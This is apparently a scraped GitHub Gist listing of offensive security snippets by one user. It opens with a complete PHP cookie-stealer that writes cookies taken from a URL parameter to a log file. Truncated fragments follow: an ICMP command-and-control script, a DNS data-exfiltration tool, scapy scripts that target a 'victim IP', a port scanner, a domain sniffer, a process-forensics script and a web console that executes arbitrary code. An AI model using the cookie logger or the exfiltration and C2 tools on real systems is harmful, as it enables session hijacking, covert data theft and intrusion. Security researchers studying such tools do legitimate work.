Skip to content

Instantly share code, notes, and snippets.

<?php
$cookie = $_GET["sign"]; //extracts the data after the '=' following the 'sign' variable in the url
$steal = fopen("log.txt", "a+"); //appends data to 'log.txt'
fwrite($steal, $cookie . "\n"); //writes the cookie to file
fclose($steal); //closes the file
?>
@ghost-ng
ghost-ng / iHide.sh
Created August 27, 2016 03:17
Command and Control through ICMP
#!/bin/bash
OPTIND=1
function cleanup {
rm /tmp/temp -f
kill -2 $(ps aux | grep hping3 | grep -v "grep hping3" | awk '{print $2}') > /dev/null
exit
}
function icmpreceive {
if [[ "$arg" != *-e* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-g* ]] || [[ "$arg" != *-i* ]] || [[ "$arg" != *-f* ]] || [[ "$arg" != *-r* ]]; then
echo "Not enough flags/switches"
#!/bin/bash
OPTIND=1
function cleanup {
echo
echo "All URLs are in '$domainURLs'"
echo "All unique (sub)domains are in '$domainsubdomains'"
echo
echo "have a nice day"
exit
}
#Created by - unknown
#python2
from scapy.all import *
import sys
import os
import time
try:
interface = raw_input("[*] Enter Desired Interface: ")
victimIP = raw_input("[*] Enter Victim IP: ")
@ghost-ng
ghost-ng / scavenger.sh
Created September 2, 2016 23:25
DNS data transfer tool - bash
#!/bin/bash
OPTIND=1
function cleanup {
clear
sleep 4
if [[ $arg != *"-v"* ]]; then
echo "Cleaning up this mess..."
rm -f ./.temp2
rm -f ./temp1.pcap
rm -f ./.temp1
@ghost-ng
ghost-ng / PIE.py
Created September 12, 2016 05:07
Process Forensics
#/bin/env/python3
#Easy as PIE - Process Information Enumeration
import psutil,hashlib,sys
from uuid import uuid4
def hash_file(file):
# uuid is used to generate a random number
salt = uuid4().hex
hashed = hashlib.sha256()
with open(file, 'rb') as ofile:
# Created by - unknown
# python3
from scapy.all import *
import sys
import os
import time
try:
interface = input("[*] Enter Desired Interface: ")
victimIP = input("[*] Enter Victim IP: ")
@ghost-ng
ghost-ng / url-sniff.py
Created November 11, 2016 03:17
Finds domain names (url domains) from a specific interface
import argparse
from scapy.all import *
import signal
import sys
from collections import Counter
def printpattern(match):
if match:
print('[+] Found domain: ', match)
with open(output_file,'a') as f:
if output_file:
@ghost-ng
ghost-ng / scanner.py
Last active November 11, 2017 02:54
scanner.py
# simple port scan tool
# !/usr/bin/python
# -*- coding: utf-8 -*-
import optparse,sys
from socket import *
from threading import *
screenLock = Semaphore(value=1)
@ghost-ng
ghost-ng / pyWebConsole.py
Last active March 21, 2017 19:26
pyWebConsole.py
from code import InteractiveConsole
class Console(InteractiveConsole):
def __init__(*args): InteractiveConsole.__init__(*args)
def enter(self, source):
source = self.preprocess(source)
self.runcode(source)
@staticmethod